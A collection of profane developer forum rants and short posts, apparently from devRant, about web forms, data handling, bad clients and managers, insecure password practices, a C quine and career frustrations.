Passing php data via JSON encode. Works superfine on Firefox and Android mobile browser doesn't on Chrome. Fucking shit. Been sitting for 13 hours and gave up. FFuuuuuuck !!!!
Form submission via ajax and it again works on Firefox but doesn't on Chrome. I just can't understand, my mind is fucked by all the angels in heaven. Data gets submitted, the form is reset but the function called to refresh the JSON data doesn't work.
Someone please kill me or I swear I will fucking kill everybody.4 -
Oh god where do I start!?
In my current role I've had horrific experiences with management and higher ups.
The first time I knew it would be a problem: I was on a Java project that was due to go live within the month. The devs and PM on the project were all due to move on at the end. I was sitting next to the PM, and overheard him saying "we'll implement [important key feature] in hypercare"... I blew my top at him, then had my managers come and see if I was OK.
That particular project overran with me and the permanent devs having to implement the core features of the app for 6mo after everyone else had left.
I've had to be the bearer of bad news a lot.
I work now and then with the CTO, my worst with her:
We had implemented a prototype for the CEO of a sister company, he was chuffed with it. She said something like "why is it not on brand" - there was no brand, so I winged it and used a common design pattern that the CEO had suggested he would like with the sister company's colours and logo. The CTO said something like "the problem is we have wilful amateurs designing..." wilful amateurs. Having worked in web design since I was 12 I'm better than a wilful amateur, that one cut deep.
I've had loads with PMs recently, they basically go:
PM: we need this obscure set up.
Me & team: why not use common sense set up.
PM: I don't care, just do obscure set up.
The most recent was they wanted £250k infrastructure for something that was being done on an AWS TC2.small.
Also recently, and in another direction:
PM: we want this mobile app deploying to our internal MDM.
Us: we don't know what the hell it is, what is it!?
PM: it's [megacorp]'s survey filler app that adds survey results into their core cloud platform
Us: fair enough, we don't like writing form fillers, let us have a look at it.
*queue MITM plain text login, private company data being stored in plain text at /sdcard/ on android.
Us: really sorry guys, this is in no way secure.
Pm: *in a huff now because I took a dump on his doorstep*
I'll think of more when I can. -
I like helping out on weird little projects that keep my brain fed. One of our IT guys needs a little form that can auto inject some info from a small data store (Google sheets). There's a few caveats within his specs. All can be done with some js relatively easily.
But because I said it can be done he thinks it'll take 10mins and now suddenly he's putting pressure on me to do it, despite me also having an actual job to do! So frustrating!2 -
I would like to present new super API which I have "pleasure" to work with. Documentation (very poor written in *.docx without list of contents) says that communication is json <-> json which is not entirely true. I have to post request as x-www-form with one field which contains data encoded as json.
Response is json but they set Content-Type header as text/html and Postman didn't prettify body by default...
I'm attaching screenshot as a evidence.
I can't understand why people don't use frameworks and making other lives harder :-/
3 -
How do you get over the bad times? I keep having to work with shitty legacy systems that were written in perl and flash in the 90s, but my boss keeps telling me "No" on redoing some of the bigger stuff even though it is really needed. I mean, that is your goal here, right? Rebuilding this POS? FFS you still stored passwords in plain text twoo weeks ago! But no, you's rather dig around in Perl than upset some random user because his fucking interface looks different.
But then I also have to work with another system that I could redo in Cake/Laravel in two weeks (it's literally getting and writing data to one table, so two views and user auth), and the previous dev just... made a huge mess. I mean, why would you need to post data asynchronously when it's this one stupid form ? Just do a regular form submit? And the system is really not suitable for extending, because everything is in the database, EVERYTHING! Like, html form inputs? So to add a simple input to the template I have to create a new input type in the types table and then add that to the form structure table? Only to have the input checked by fucking regex? REGEX! Why? Seriously, this is not some high end CMS that needs this level of code reusability No. This is a simple fucking form.
And I can't get it to work. No documentation of course. No comments, either. All of this makes me feel like I'm just the shittiest dev ever. I feel dumb, and useless. Haven't turned on my private PC in weeks because I see no reason to work on any of my own stuff.
I used to have a job, working with Magento and Wordpress. And yeah, it was horrible, it was chaos, but it was fun and I was great at it. I bent that motherfucking system to fit my needs. People respected my opinion, they were convinced I could program this and that, and I proved them right. Did I make mistakes? Hell yeah. Did I give up? Fuck no!
But now, I just feel like I can't even write a simple fucking form any more. I'm just so close to giving up on development as a whole, even though I love it so much.5 -
Why recruiters want me to fill up the Application form and I dont get any reply from them since. Is this a data collection thing?3
-
Client email: so you know that custom thing I wanted on my website that you made and I refused to pay for? Could you just send me the code, I'm gonna write my own.
*Staring at screen in disbelief and laughing*
Even if you were an awesome client, and you had paid, I still wouldn't just "give you my code" so you can write your own. You hired me to do it because you CAN'T not because you didn't want to, not because you're lazy, but because you are not mentally capable of making your own.
Me: I'm sorry, but I'm not sure you would even know where to start with this, what was wrong with the one built?
Client: I wanna put the code in my Salesforce so it can run the API request and automatically make a lead for me.
My code takes fields from a form, runs the data over to the API, gets the response, allows for user confirmation that the information is correct, and then sends all the relevant data to Salesforce as a lead.
Me: But that's exactly what mine does, just does it from your website where users will be entering the info, and once they've confirmed it you get a Salesforce lead.
Client: well some of my leads come from other places and I want to simplify everything.
Me: no, not possible, sorry.
If you didn't have 25 different websites for one company then all your leads would come from the same place and it would be simple.2 -
Last night was dreadful- at 11 pm Dev on my team makes a change to a form with 2 million plus records without informing me and leaves to go out without confirming the change was successful. I get call from the data center at midnight because the app is down. Didn't get done till midnight and now data center boss is blaming me.5
-
Interesting password recommendation here...
Translation:
- A form with to fields: Surname and password.
- Below the form is a text: "For signup please enter your name and a password (e.g. your email address). With your name and password you can change your data anytime and may get access to the memberlist."
Bonus: There is a "help"-button (outside of the cutting) which even *recommends* the use of the email-address as the password!
Extra bonus: The password field is a normal text one.
IF THE EMAIL ADDRESS HAS TO BE SUBMITTED, WHY NOT JUST ADD ANOTHER FIELD OR AT LEAST LABEL THE FIELD CORRECTLY!
Update: After this form, you get to another form, to enter you email address...
3 -
!rant && isSorry = true
this aint StackOverFlow but I need a tiny help here, I'm receiving data result from an API that is formatted as x-www-form-urlencoded, do I add a valid url at the beginning and use URI parser in Android or is there some other solution for it?
Sample of the result I'm receiving:
repositoryId=TEST&response.gatewayCode=BASIC_VERIFICATION_SUCCESSFUL&result=SUCCESS&sourceOfFunds.provided.card.brand=MASTERCARD15 -
My friend sent me this as WYSIWYG
/* A simple quine (self-printing program), in standard C. */ /* Note: in designing this quine, we have tried to make the code clear * and readable, not concise and obscure as many quines are, so that * the general principle can be made clear at the expense of length. * In a nutshell: use the same data structure (called "progdata" * below) to output the program code (which it represents) and its own * textual representation. */ #include <stdio.h> void quote(const char *s) /* This function takes a character string s and prints the * textual representation of s as it might appear formatted * in C code. */ { int i; printf(" \""); for (i=0; s[i]; ++i) { /* Certain characters are quoted. */ if (s[i] == '\\') printf("\\\\"); else if (s[i] == '"') printf("\\\""); else if (s[i] == '\n') printf("\\n"); /* Others are just printed as such. */ else printf("%c", s[i]); /* Also insert occasional line breaks. */ if (i % 48 == 47) printf("\"\n \""); } printf("\""); } /* What follows is a string representation of the program code, * from beginning to end (formatted as per the quote() function * above), except that the string _itself_ is coded as two * consecutive '@' characters. */ const char progdata[] = "/* A simple quine (self-printing program), in st" "andard C. */\n\n/* Note: in designing this quine, " "we have tried to make the code clear\n * and read" "able, not concise and obscure as many quines are" ", so that\n * the general principle can be made c" "lear at the expense of length.\n * In a nutshell:" " use the same data structure (called \"progdata\"\n" " * below) to output the program code (which it r" "epresents) and its own\n * textual representation" ". */\n\n#include <stdio.h>\n\nvoid quote(const char " "*s)\n /* This function takes a character stri" "ng s and prints the\n * textual representati" "on of s as it might appear formatted\n * in " "C code. */\n{\n int i;\n\n printf(\" \\\"\");\n " " for (i=0; s[i]; ++i) {\n /* Certain cha" "racters are quoted. */\n if (s[i] == '\\\\')" "\n printf(\"\\\\\\\\\");\n else if (s[" "i] == '\"')\n printf(\"\\\\\\\"\");\n e" "lse if (s[i] == '\\n')\n printf(\"\\\\n\");" "\n /* Others are just printed as such. */\n" " else\n printf(\"%c\", s[i]);\n " " /* Also insert occasional line breaks. */\n " " if (i % 48 == 47)\n printf(\"\\\"\\" "n \\\"\");\n }\n printf(\"\\\"\");\n}\n\n/* What fo" "llows is a string representation of the program " "code,\n * from beginning to end (formatted as per" " the quote() function\n * above), except that the" " string _itself_ is coded as two\n * consecutive " "'@' characters. */\nconst char progdata[] =\n@@;\n\n" "int main(void)\n /* The program itself... */\n" "{\n int i;\n\n /* Print the program code, cha" "racter by character. */\n for (i=0; progdata[i" "]; ++i) {\n if (progdata[i] == '@' && prog" "data[i+1] == '@')\n /* We encounter tw" "o '@' signs, so we must print the quoted\n " " * form of the program code. */\n {\n " " quote(progdata); /* Quote all. */\n" " i++; /* Skip second '" "@'. */\n } else\n printf(\"%c\", p" "rogdata[i]); /* Print character. */\n }\n r" "eturn 0;\n}\n"; int main(void) /* The program itself... */ { int i; /* Print the program code, character by character. */ for (i=0; progdata[i]; ++i) { if (progdata[i] == '@' && progdata[i+1] == '@') /* We encounter two '@' signs, so we must print the quoted * form of the program code. */ { quote(progdata); /* Quote all. */ i++; /* Skip second '@'. */ } else printf("%c", progdata[i]); /* Print character. */ } return 0; }6 -
Probably the autosave feature in our medical eForm application. You might think that doesnt sound unnecessary, but it was built to solve a problem that shouldnt have existed in the first place.
Autosave was put in place to rescue as much data as possible in the event that the app randomly crashed while a paramedic was filling in a form.
So in one sense it was a necessary feature because the app was so unstable. But on the other hand, if the app was built properly it would never have been needed.1 -
Time to switch to offline and hide in some dark corner to get work done. Tired of all the IM’s and coming over to my desk from 1 person for “critical” work. If they’re all critical then none of them are truly critical. If you sit on the data for 2 months, and then today is the day it becomes critical and the compliance issue is because of your ineptitude then its a you problem not an IT problem. Then on top of that you submit your data to be loaded in the incorrect request form and spreadsheet format you can go fuck yourself asking this be done in an hour. It could be done in 15 minutes if you had it in the correct format as specified in the 20 meetings over the past year which removed all manual analysis and automated the entire process you idiot. Now I have to get it into the correct format in that hour so I don’t have to do the analysis for you.
I have other things to do besides your etl tickets, like finding the actual problems in our actual critical applications. You know the ones where the VP’s of this giant corporation start calling if they go down.
Sorry for the rambling guys. -
I'll try to pay back some smaller credit by one large credit...
Hence I need to contact the banks and get one (!) fucking frigging stupid piece of paper which lists the account number and the amount of money I need to pay back.
Sounds simple ...
Well.
One bank just answered my email request by sending me that piece of paper. Except they didn't have any validation of my identity.
Yes. They answered the request of 'I want to pay back the credit in full, can u send me the necessary documents?' (more formal of course) with confidential data without any more credibility than my email address.
YAY.
Another bank requests a telephone call for identity validation and sending back a signed form via postal service...
Another bank just needs a PDF sent via mail with an electric signature (yeah. They were aware of what that means - I was shocked and confused) or a "qualified signature matching previous documents" (translated from German).
The last one offers a WhatsApp number - send a GIF / JPG or video and we answer directly.
I need to reach a higher state than drunk.
It's not funny to know how confidential data gets mistreated by companies who should have the highest security.4 -
The networking group at my day job, hooooooolly crap I have some unprintable words. But keeping it professional:
* Days to turn around simple firewall whitelisting requests
* Expecting other teams to know the network layout despite not sharing that information anywhere and going out of their way to not share it
* Adding bureaucracy in the form of separate Word doc forms despite having a ticketing system - for no justifiable reason
* Breaking production systems multiple times per month
* Calling in with problems that are clearly network related, being told it’s our systems, and then the problems magically go away even though they swear they didn’t touch anything
* Outright verifiable lies or vague non-answers when they’re not talking to someone at the director level or a vendor from an outside company on conference calls
* Worse packet loss and throughput on our LAN than my home ISP
Doing anything with these clowns is my single biggest source of stress right now. I can’t wait until we get a full SDN stack set up and then we won’t have to deal with them for day-to-day needs any longer.
My boss swears it’s better that we’re not managing the network directly, but I’m pretty sure my friend’s dog could be loosed into the data center to chew on fiber, and eventually the pairs would be connected in such a way as to improve performance.1 -
Lots of good suggestions up in here.
My personal prefference:
Such as there are governing bodies indiciating how a programming language evolves and a web consortium...there should be a computer science one. That dictates fundamental approaches covering everything that belongs to this wonderful branch of science. Everything from math to differenr scientific branches all the way down to turtles. And for it to be standarized and updated. Indeed, if you want to spend your entire existence gobbling js in the form of web sites then that is fine, but you should have sufficient knowledge to branch out into more academic pursuits if required.
Also, updated tools would be better, every aspiring computer scientist shall be able to navigate through all major operating systems and programming environments regardless of their beliefs and or prefferences and schools should provide said environments in their classrooms.
Data Strucrutes and Algorithms should be a must. Software engineering principles should be a must. Calculus, Algebra and Statistics as well as Physica should be a must.
And succesfully navigating over different engineering areas should be a must.
Not to cleanse the industry. Fuck your elitist mentality. If you think that programming is a sacred art that should exclude people then I really hope you fucking disapear from existence. No, not to cleanse. But to expand the industry and maybe show people that there is more than fucking around between node modules or gemsets.
Peace pendejos
**drops your mom's fatass...i mean mic** -
I think another intriguing job asides programming is engineering (*for some*). A week has past and I've been on the hike assisting my beloved brother on his contracted engineering job while I am less occupied. The job is based on 🗼Tower analysis and It's quite risky as you'd have to climb up to 56 meters high just to take readings of antennas, and fix some other stuffs. The only thing I find intriguing about this job is his love for it, funny enough he also thinks I love the job too and I guess I'm guilty for his thoughts (*Sorry bro, I love the job for you not me*).
With my little experience so far on my *new brotherly job* I noticed the most hectic task isn't going up and down the tower taking readings but at the end of all operations, he'll have to gather the values and snapshots he took while on the tower to prepare reports on msword & excel for the other buttwags at the office (or home I guess)
then archive and sends via mail. Seeing this lengthy process I was forced to ask why he wasn't using any reporting tool like Jotforms or any other equivalent and I was willing to look up some recommendations for him, his reply was: "I'm already used to this form of reporting, its what I was trained with and what the company provided, nevertheless a friend of mine suggested something of such weeks back but I would have to pay monthly fee for its usage which is quite on the high side and I don't think I'd prefer that."
Sounds convincing but not enough, okay here is another deal: You use an android phone right? and at my office we work on system automation (*basically does not know what I do for a living probably thinks I'm a hacker the illegal one*), how about i design you an android app for you to capture the tower data and a PC software for you to auto generate the msword & excel reports, I can get this ready for you in less than 5 nights (*I've got less task on my desk, and was willing to take the timeout to prepare the solution that he needed, all I needed to hear for a kick start was an "Okay" just to be sure he wants it*) I suggested and re-assured but up to this point he still declined my offer and is willing to stick with his current reporting pattern (*Me died*).1 -
Untested code has bugs that cause catastrophic failures in code and I get asked "How the hell did you even find that?!" by a manager on another team.
I pressed enter to post form data. -
First thing Wednesday morning, fired up the macbook, opened vs code, ran the same unit tests that were passing last night, 1 failure! FML.
For some reason an Angular form that was valid with the same data last night isn't this morning. Probably some crappy date issue in the mock data1 -
To me this is one of the most interesting topics. I always dream about creating the perfect programming class (not aimed at absolute beginners though, in the end there should be some usable software artifact), because I had to teach myself at least half of the skills I need everyday.
The goal of the class, which has at least to be a semester long, is to be able to create industry-ready software projects with a distributed architecture (i.e. client-server).
The important thing is to have a central theme over the whole class. Which means you should go through the software lifecycle at least once.
Let's say the class consists of 10 Units à ~3 hours (with breaks ofc) and takes place once a week, because that is the absolute minimum time to enable the students to do their homework.
1. Project setup, explanation of the whole toolchain. Init repositories, create SSH keys for github/bitbucket, git crash course (provide a cheat sheet).
Create a hello world web app with $framework. Run the web server, let the students poke around with it. Let them push their projects to their repositories.
The remainder of the lesson is for Q&A, technical problems and so on.
Homework: Read the docs of $framework. Do some commits, just alter the HTML & CSS a bit, give them your personal touch.
For the homework, provide a $chat channel/forum/mailing list or whatever for questions where not only the the teacher should help, but also the students help each other.
2. Setup of CI/Build automation. This is one of the hardest parts for the teacher/uni because the university must provide the necessary hardware for it, which costs money. But the students faces when they see that a push to master automatically triggers a build and deploys it to the right place where they can reach it from the web is priceless.
This is one recurring point over the whole course, as there will be more software artifacts beside the web app, which need to be added to the build process. I do not want to go deeper here, whether you use Jenkins, or Travis or whatev and Ansible or Puppet or whatev for automation. You probably have some docker container set up for this, because this is a very tedious task for initial setup, probably way out of proportion. But in the end there needs to be a running web service for every student which they can reach over a personal URL. Depending on the students interest on the topic it may be also better to setup this already before the first class starts and only introduce them to all the concepts in a theory block and do some more coding in the second half.
Homework: Use $framework to extend your web app. Make it a bit more user interactive with buttons, forms or the like. As we still have no backend here, you can output to alert or something.
3. Create a minimal backend with $backendFramework. Only to have something which speaks with the frontend so you can create API calls going back and forth. Also create a DB, relational or not. Discuss DB schema/model and answer student questions.
Homework: Create a form which gets transformed into JSON and sent to the backend, backend stores the user information in the DB and should also provide a query to view the entry.
4. Introduce mobile apps. As it would probably too much to introduce them both to iOS and Android, something like React Native (or whatever the most popular platform-agnostic framework is then) may come in handy. Do the same as with the minimal web app and add the build artifacts to CI. Also talk about getting software to the app/play store (a common question) and signing apps.
Homework: Use the view API call from the backend to show the data on the mobile. Play around with the mobile project to display it in a nice way.
5. Introduction to refactoring (yes, really), if we are really talking about JS here, mention things like typescript, flow, elm, reason and everything with types which compiles to JS. Types make it so much easier to refactor growing codebases and imho everybody should use it.
Flowtype would make it probably easier to get gradually introduced in the already existing codebase (and it plays nice with react native) but I want to be abstract here, so that is just a suggestion (and 100% typed languages such as ELM or Reason have so much nicer errors).
Also discuss other helpful tools like linters, formatters.
Homework: Introduce types to all your API calls and some important functions.
6. Introduction to (unit) tests. Similar as above.
Homework: Write a unit test for your form.
(TBC)4 -
48 hours.
We had 3 weeks of "manual data collection": pencil, paper and a dozen of people around all the offices of the company with the task to collect serial numbers of every piece of equipment used.
Then we had 3 weeks of data entry, a dozen of people copying all handwritten data to a custom made VB form.
And then there was me, the guy that was in charge of verifying, zipping and sending the data to the client. I spent 48h non stop to go through everything, finding, fixing or delete unusable data.
I had to delete at least 25% of the data because incomplete or completely unusable (serial numbers too short or too long, for example).
48h in the office.
The data was then delivered to the customer. 2 days after, when I finally woke up, everyone was in panic because:
- serial numbers were not matching
- addresses were wrong
- the number of delivered records was smaller than expected
What did I learn from this experience?
When your deadline is tomorrow, and you need 4 weeks to complete your work, ignore the deadline and inform everyone at any level that you are ignoring the deadline. And then resign and find a better job.
Ah, yes, pencils and paper are powerful tools, but rat poison too. You just need to use them in the right place. The only data collection that can be trusted when done with a pencil is the one involving checkboxes.1 -
Using Oracle ADF along with ADF Faces to build a simple learning management system. No JavaScript, no external stylesheets, all inline styles, no client side validation, doing form submit for every field's onblur event triggering a server-side validation, creating a VO for every damn page requiring data, creating an EO for every DB table or view, adding big-ass custom queries for most EOs to join on multiple tables, frequent N+1 queries, etc.,
Idont remember the rest of the problems5 -
Webdev, I should send a form to a site that gets the results and redirects back to the webpage that stands in an invisible form data (very weird!).
Okay, I did...
When I was finished the site didn't redirect to the URL I gave in the form, instead it showed parts(!) of the webpage's HTML.
Okay, I was a little bit surprised and mailed the dev of this weird thing. He answered with this:
"In this Internet thingy, you know, URLs start with 'http://', it's the newest shit!"
Holy shit! Is he serious!? Who the heck programmes such a site that needs a 'http://' in the beginning? (Does this guy know about https?)
And why, why!?, did it show contents of the target URL's site if you give it one without http!?
I, I will go now and get a mild tea, yeah...3 -
So we have this administration page in the clients app that has tables of data.
The user can click on a row to edit or click "Add' to create a new one, doing so pops up a modal with a form full of inputs and a save button at the bottom.
The other day our client told me he was concerned that users would not understand how to edit data and that I should add some text below the first input field of each modal that says "Type in a new value and click 'SAVE' to change the [field name]"
As I implimented this crap, I took a few minutes to come up with a nice way of saying that his idea made no sense, added unnecessary clutter to the UI, and proposed some alternatives.
He essentially said, "Thanks for your much better ideas, for now let's just stick with what we've got and we can revisit this later."
Everytime I open that UI, I physically feel pain and get a little sick.5 -
Not sure if many people heard about nltk in python but I'm currently using a lot now for research.
So one day I was doing multiprocessing while using lemmatizer in nltk, for those who don't know, lemmatizer is a thing that change the word to its base form. So it is like, ran to run, bitches to bitch.
Anyway, the nltk package, to ensure it does not take too much memory, here's what it does: it loads a data file, and once it is loaded and accessed for the first time, it breaks the data file into CSV file. And since I was doing multiprocessing, the data file is accessed for multiple time while it can only be loaded once, hence error happened.
Instead of changing my code, which I think is good already, I went to the package directory of nltk and directly changed the source code from there and now the code works perfectly.
I'm very proud of my self at the moment, this is a very good lesson that I've learned: always look for alternatives. And suck it, nltk.1 -
So I've been working for a while on my first browser extension, and I want to show it to you.
It's basically a form filler, helpful when you need random and fake data on websites or during testing. Nothing spectacular, but it's very customisable.
If someone tries it, I would like to hear the impressions or the complaints.
https://chrome.google.com/webstore/...2 -
To the developer of jobomas.com (I sent this while I canceled my account):
Seriously, a platform that confirms my password in clear text in an email is a risk for my privacy and data.
One more story: I wanted to change gender to male and you asked me for my phone number, birthday etc. (required form fields)?
I should be able to decide myself what I want to share with you and what not!
This platform isn't even fully translated to english (Gender selection for example...).
Consider hiring a UX-Designer so I don't press cancel, when I want to cancel my account.... what a finish, sigh!
1 -
I developed a simple feedback form, that captures user feedback and forwards it to a customer care email.
Today, I received a call from someone who was sub-contracted to create a system that would ingest these feedback emails and process the data to have some desired result.
So dude wants me to change the way the email is formatted. Because there are "line feeds" in the email. Essential making it computer readable as opposed to human readable. I don't have a problem doing that but I'm wondering if he ever heard of regular expressions.3 -
This is why we can never have enough software developers
It's true. No matter how many people learn to program, there will never be enough people who know how to program. They don't have to be very good at it either. It is now a required skill.
Minimum wage in first world countries is way above 5$ per hour. A Raspberry PI 3B costs 40$, or at most 1 day of work for the worst paid jobs. And it will run for years, and do routine tasks up to thousands of times faster than any employee. With that, the only excuse that people still do routine tasks, is the inaccessibility of coder time.
Solution: everybody should know how to write code, even at the simplest level.
Blue-collar jobs: they will be obsolete. Many of them already are. The rest are waiting for their turn.
Marketing people - marketing is online. They need to know how to set up proper tracking in JS, how to get atomic data in some form of SQL, how to script some automated adjustments via APIs for ad budgets, etc. Right now they're asking for developers to do that. If they learn to do that, they'll be an independent, valued asset. Employers WILL ask for this as a bonus.
Project Managers - to manage developers, they need to know what they do. They need to know code, they have to know their way around repositories.
QA staff - scripted tests are the best, most efficient tests.
Finance - dropping Excel in favor of R with Markdown, Jupyter Notebooks or whatever, is much more efficient. Customizing / integrating their ERP with external systems is also something they could do if they knew how to code.
Operations / Category Management - most of it would go obsolete with more companies adopting APIs as a way to exchange important information, rather than phone calls and e-mails.
Who would not be replaced or who wouldn't benefit from programming? Innovative artists.
A lot of it might not be now now, but the current generation will see it already in their career.
If we educate people today, without advanced computer skills and some coding, then we are educating future deadbeats.
With all this, all education should include CS. And not just as a mandatory field or something. Make it more accessible, more interesting, more superficial if needed. Go straight to use cases, show its effectiveness in the easiest way possible. Inquisitive minds will fill in the blanks, and everyone else will at least know how to automate a part of their work. -
So first rant, here goes weirdness, and also lengthy rant
So in my company we have the hr and accounting managed by the same person which also deals with all things employee related and she had a need for a way to extract a birthday from, what is in our country the personal identification number, things go great i get a formula that performs parts of the magic up to the point where the first digit of the number dictates the gender and century to be used when forming the full year, mind you only the last two digits of the year are in plain within the id number so i thy a number of ideas. After bashing around google sheets for a while ( i've got open office installed and formulas don't export well to the excel that person uses but google sheets does so i built it there).
First idea : make a few conditionals to check for the value so we have 1 and 2 for 19th century, 3 and 4 for 18th century , 5 and 6 for 20th so i go ahead and write my conditions and they fail, all evaluates to false, it cascades through the else variants up to the last one so i'm wondering if the "if" itself doesn't support the or operator, seems it does, next i think it's the bloody condition written wrong so i reevaluate my logic in php in a test script, it works as intended, then i think ok not the right function called, let's see the docs, docs confirm i'm doing it right but what was wrong was the way i was getting that first number, using left seems to produce a string although the base thing is a number, now i start searching how i can cast it, like you would normaly do when the data type is fried, value function appears to be the solution but it isn't working....now i'm thinking "ok so i have a value and different things to print out so let's look for a switch, maybe it can understand that" switch function found under the form of choice, i get it sorted but am stuck wondering why the heck was the if and value combination not working.
Simple answer to that : value doesn't work well with function results, a known bug listed by someone in a comment, a comment i have failed to read for about 45 minutes of trying to understand.
All in all it worked well for the person asking for it so it's nice. -
So this is a story all about how:
I went from my brother being asked to clone the disk of old laptop to a new one. My m.2 ssd being held in with duct tape because of it and me having to run a tar command that took over 5 hours to complete.
So my bro got asked by a friends mom to help her with "PC Problems". In short the old laptop was barely useable and they ordered a new one on the reccomendations of my brother. Turns out the laptop he recomended shoud have had a 1tb hdd in it. Instead it had a 256gb m.2. Note: The old disk was 500GB.
So cloning wasnt possible. He then told me, that they also bought a regular sata ssd which was supposed to go in instead of the non present hdd. So I <-Want to emphasize on this! went to work.
Ordered a ssd in the right form factor.
Made a disk image of the old HDD.
Had to drill out the screw holding in my m.2 ssd as it was stuck.
Its now held in with a piece of kepton tape.
Wrote old disk's image on new disk.
It doesnt boot in new laptop.
Spend an evening trying to rebuild boot partitions.
Fuck it, lets install windows 10 (instead of 7) and copy all the shit over manually!
Lets buy office for 30$ on g2a as it would be a pain in the ass to explain the that its normally a subscription.
Previous rant happend.
Brought them the laptop yesterday telling them I did all the work.
I collect the ssd they ordered explaing i ordered the correct one and would take tis one for me.
Still had the 500GB img file of the disk and wanted to compress it in order to put some data back in place.
The tar command took over 5 hours to complete! I havent checked on it yet as I went to sleep. -
Hey just brainstorming a business/ startup idea I may try out sometime down the line. I wanted to put it in writing available to my peers for review. If that sounds boring, sorry.
So I've had an idea and I know it's a million dollar idea because it's absolutely boring as fuck.
Recently I have been learning about NoSQL and it has gotten me pretty excited about unstructured data.
Now the first thing you should know about me is I like to make business software. I don't like games or social networks or blah blah blah, I like business stuff. One dream I have always had is to make THE business solution. I've noticed so many specific business solutions for very specific areas of work. Specific software for car washes, which is separate from the software for car maintenance, which is separate from the point-of-sales software, which is separate from the [...]
One of the problems with this is the inconsistency. Modular is good, but only if the modules are compatible. They aren't. Training needs to be provided for each individual system since they are all vastly different. And worst of all, since all of these different applications reach their own niche market, they charge out the butt for things that are usually very simple "POST a form over http(s)" machines.
I mean let's not get too dreamy here. My solution is an over-complicated form-builder. But it would be a game-changer for small and medium-sized businesses. Allowing users to build their own front-end and back-end disguised as a drag-and-drop form builder would be THE alternative, because they could bring all of their solutions into a single solution (one bill!) and since THEY are the ones that build what they need, they can have custom business software for the price of a spreadsheet program.
The price difference we could offer would be IMMENSE. Not only would we be able to offer "cookie-cutter" pricing as opposed to "custom" pricing, but since this generic solution could be used for essentially all of their systems, we aren't just decreasing one bill. We're decreasing one bill, and eliminating the rest entirely. We could devastate competition.
"BUT ALGO", you scream in despair, "USERS AREN'T SMART ENOUGH TO DRAG AND DROP FORM PARTS TO MAKE A FORM"
I mean ya true. But you say that like it's a bad thing. For one, we can just offer a huge library of templates. And for another, which is part of the business plan, we can charge people support dollars to help them drag and drop their stupid fucking forms!! Think of the MONEEYYYY YOU COULD MAKEE BY EXPLAINING HOW TO COLLECT FIRST AND LAST NAMEEE. Fuck.
The controls library would be extensible of course. You would be able to download different, more specialized controls if you need them. But the goal would be to satsify those needs with the standard collection of controls (Including interesting ones line barcode scanner and signature input and all that). But if all else fails, maybe someone made an open source control for you to implement and ignore that stupid donation button. We all do.
This could PURGE the world of overpriced and junky specialized business software, and best of all, it's aimed at smaller businesses. With smaller businesses making more profit, they will stay afloat better and may start to compete with their larger foes. Greater for the entire economy.
Anyways, I'm sure it's full of holes. Everything always is. But I still think it's something I'll try before I die.24 -
Working for a large client converting paper forms to the web. Stated goals, simplify data entry for clients, improve data quality, reduce resourcing in backend human processing.
We met to review prototype and discuss workflow questions. Crazy deadlines, with the usual changing scope creep.
We start to point out the need for data validation, to shorten # of questions based on answers.
Business says no. All forms should be submittable regardless of what user enters, don’t put validations in because all that warning messaging confuses them and takes up more time.
Web form should behave like the paper copy....
Welcome to 1975!!! This is why 2018 won’t be like 2018...1 -
Welcome to post 2 of WHY WOULD I WANT TO WORK WITH YOU?, a saga of competence, empathy and me being dick, even tho I didn't want to be one.
This is a follow-up to: https://devrant.com/rants/2363374 It's title is: "Oh, you can post only every 2h. Didn't know that". I also didn't know that the rest of my rant would be put into a comment. For consistency tho, this time I am still splitting the story.
A wise person once wrote in their book: "People judge other people by two things: Empathy and competence." This may not be an accurate quote, but it carries the same message. Also, I don't really remember who was the author. I only know they were probably quite wise. Anyway, I just wanted to share that sentence. Have a moment and think about it. Or don't. Here's my story:
A was a software house that looked pretty promising. They were elegant, their page and offer looked nice. Well, unless you consider the fact that they offered me internship. Unpaid. But I decided to meet with them anyway, since I had hope that I could negotiate some sort of paid internship or a job contract even. I did my homework after all, and I was confident I am able to keep up with their requirements. I arrived a little bit... no, way to early. One damn hour. Whatever, I waited. I was greeted by a woman. We had a cultural conversation, she had a list of 12 questions I needed to answer, as a form of a test. We begun. First question: How do you change a value in Oracle Database? "Wait a minute", I thought, "What kind of question is that?". Why in seven hells would you want your frontend developer to know how to handle oracle db? Well, I gave my answer, I did lick some of that SQL in my life. Next question: Java stuff. The bloody gal didn't even care to check what position I am applying to before the interview! At this point I didn't really have very high hopes. A shame on them forever.
The story of B and C is connected and a little bit more complicated. More on that in part 2. B stands for Bank. A big corporation then, by definition. A person I know decided called me that day and told me they're hiring, that he referred me and that they would like to arrange a meeting. And so we did. It was couple of days before Christmas. C was a software house again. Or a startup. Idk really. Their website wasn't finished so I couldn't read anything useful up on them. They didn't tell me much about themselves either. They also started with "unpaid internship".
In C, they would greet me and instantly sit me down next to a mac laptop and told me, "hey, do this stuff in python". What the fuck, not again... I told them that I am frontend dev, they guy said "it's no problem, you said you know python, it's a simple task". And yeah, I did host some apps in Flask and I did use psycopg2. It was in my CV. But never, ever, have I mentioned knowing heuristics nor statistics. I'm no data scientist, monsieur. Whatever, I tried, I failed a little bit, I told them that maybe if I did want to spend half of my day there I would finish this task, but back then I was way too nervous to focus and code. I told them what should be done in code and that I just was unable to code this at the very moment. They nodded, we said goodbye and I was sure not to hear from them ever again.
In B, I was greeted by a senior frontend dev. He told me the recruiter is sick and he couldn't come, so we're talking alone. I can buy it. We sat down in said meeting room, and he asked me if I wanted a drink. No thx, I had digested so much caffeine during last 24h, next dose could be an overdose. And then, he took out my resume printed in paper. With notes on it. With some stuff encircled. That bloody bastard did his homework. We spent over an hour, just talking in friendly atmosphere. It was an interview, but it was a conversation also. We shared our experiences, opinions and it went just perfect.
On December 20, I was heading home for Christmas. My situation looked like this: A called me they could offer me only unpaid internship. I was getting kinda bored of rice and debts, tbh. I gracefully rejected their generous offer. B didn't give me feedback yet(it was a most recent interview, so I didn't expect any message until after Christmas anyway). C told me that they could give me internship, but I managed to convince them to make it paid internship. After three months of very bad times, things were starting to get better.
On part III we will explore further events of my very recent past. That post will be same amount of storytelling and possibly a lesson for those who seek an employer and for those who seek an employee.6 -
So I spent 2 hours trying to debug my HTML form with data pulled from database. I kept updating the data in the database but the forms weren't changing. Then it finally struck me, Firefox fucking caches form fields on page reload. I use to think this was a convinient feature but now it's just a pain in the ass.1
-
I just can't stand that dumb senior. Everytime one tries to change the size of the window, all the data from the quite lengthy form is lost. Ofc he will not fix that. How is that even possible? Wtf?
I would not give a damn if I did not have to fill these forms.4 -
